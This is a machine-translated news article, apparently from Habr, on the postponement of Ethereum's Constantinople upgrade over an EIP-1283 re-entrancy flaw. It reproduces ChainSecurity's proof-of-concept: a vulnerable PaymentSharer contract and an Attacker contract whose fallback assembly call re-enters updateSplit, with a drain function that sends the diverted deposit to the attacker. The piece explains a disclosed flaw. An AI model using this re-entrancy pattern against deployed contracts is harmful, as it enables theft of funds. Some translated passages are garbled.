📜 ⬆️ ⬇️

* Ethereum "Constantinople" update postponed due to a potential vulnerability found at the last moment

image
* Many people call this event “hard fork”, but “Acne” is against .

The long-awaited release of Constantinople was to be held on January 17, at 4AM UTC , however, once again it would be hard for the countless army of developers countdown counters to break off.

30 hours before the official release, due to the found vulnerability, guided by the principle “it is better to perebidit, than nedobdit”, the update was postponed indefinitely.

An event that lifted the whole community, was the rash offer of EIP 1283 , which reduced the cost of executing the SSTORE instruction (sic!). In general, one of the main directions of the update was to reduce the cost and speed up the implementation of particularly heavy instructions.

The events of January 15 developed as follows (time in PST):


The situation was aggravated by the fact that the time to deploy the ship was chosen extremely poorly: almost half of the nodes had time to update, and all the others were methodically and aggressively kicked over the past weeks. As a result, now the updated nodes will need to be updated again (either up or down ... well). And who did not have time and overslept everything - those are great, they do not need to do anything.

Then everything was predictable - the market reacted with a course of ether (haha) that collapsed by 5%. Many, of course, were perturbed saying that how this price of instruction can influence security, why did you commit code there and so on ... But in fact, nothing unusual, everything is like everyone else.

It is better to read about the technical details of the vulnerability in the original article from ChainSecurity , it’s not difficult to figure it out.

If you are too lazy to dive into the code, the bottom line is that before the update, the SSTORE instruction cost so much that there was no way to change the “repository” (state) from other contracts, after the update of Constantinople, the instruction fell in price (), and you can change the “repository” many times, thereby changing the logic of the vulnerable contract.

The contract code (with my comments):

pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; // здесь мы инициализируем данные парой адресов, которые в последствии будут делить депозит (некую сумму денег) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } // кладем сумму на депозит, который в последствии будут делить участники function deposit(uint id) public payable { deposits[id] += msg.value; } // задаем в какой пропорции делить депозит function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // непосредственно, дележ (в соответсвтии с установленной пропорцией split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; // пересылаем долю первому участнику (здесь в атаке вызовется fallback-метод из контракта ниже) a.transfer(depo * splits[id] / 100); // остаток - второму участнику (здесь в атаке депозит уйдет на кошель злоумышленника) b.transfer(depo * (100 - splits[id]) / 100); } } 

The code of the attacking contract:

 pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } // злоумышленник вызывает эту функцию*, передав ей адрес уязвимого контракта PaymentSharer в сети function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback метод, вызывается по умолчанию на transfer-е function () payable external { address x = victim; // собственно, сама уязвимость в ассемблерной вставке ниже (не что иное, как вызов updateSplit(0, 0)), т.е. нагло меняем параметр Split второй раз и опять загоняем себе полную сумму депозита assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } } 

* missing in the original, but there must be an initialization of the form somewhere:
init (0, "address of contract Attacker", "address of the attacker's purse")

before calling the attack method.

Of course, there are a lot of questions about the PaymentSharer contract itself, on which we are shown vulnerability, it is in itself crookedly crooked, and that’s the problem,
and not in the price of SSTORE, and in general - they did not find a single living example in the release network, but they decided to be safe, all the cost of the error may be too high (everyone remembered the long-standing DAO).

In general, the Ethereum community is full of interesting events: the struggle of the gray cardinals of the market (GPU vs ASIC) has intensified, which in itself deserves a separate article, the upcoming release of Bacon Chain is gaining momentum - the year promises to be rich in events and intrigue.

Source: https://habr.com/ru/post/436262/